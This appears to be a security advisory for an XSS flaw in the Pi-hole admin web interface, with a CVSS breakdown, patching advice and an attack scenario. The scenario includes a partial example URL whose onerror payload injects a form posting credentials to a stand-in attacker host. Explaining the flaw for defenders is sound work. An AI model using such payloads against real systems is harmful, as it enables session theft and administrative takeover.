Web Interface CVE-2026-33403

This vulnerability presents moderate real-world risk despite the 6.1 CVSS score. The attack vector is network-based with low complexity (AV:N/AC:L) and requires no authentication (PR:N), making it broadly exploitable. However, it requires user interaction (UI:R)-the victim must click or be socially engineered into visiting a malicious link. The cross-site impact (S:C) with low confidentiality and integrity impact (C:L/I:L) reflects the credential exfiltration threat. While no KEV status or public exploit code is confirmed in the provided data, the straightforward nature of DOM-based XSS and the practical credential-theft scenario via form-action bypass make this a genuine priority for Pi-hole deployments exposed to untrusted users. Organizations should prioritize patching to 6.5 to eliminate the attack vector entirely, especially if the Pi-hole instance is accessible to less-technical household or small-business users who may be vulnerable to phishing with malicious URLs.

An attacker crafts a malicious URL such as http://target-pihole.local/admin/index.php?file=<img%20src=x%20onerror=document.body.innerHTML='<form%20action=%22http://attacker.com/steal%22...> and sends it to a Pi-hole administrator via email or social engineering. When the administrator clicks the link, the injected HTML executes in their browser within the authenticated context of the Pi-hole admin panel. A hidden form automatically submits the administrator's session token or credential-related data to the attacker's server. The attacker then uses the stolen session or credentials to gain administrative access to the Pi-hole instance, allowing them to modify filtering rules, disable ad-blocking, or pivot to further network compromise. No special exploit code is required beyond basic URL encoding; the attack relies purely on the XSS vulnerability and user interaction.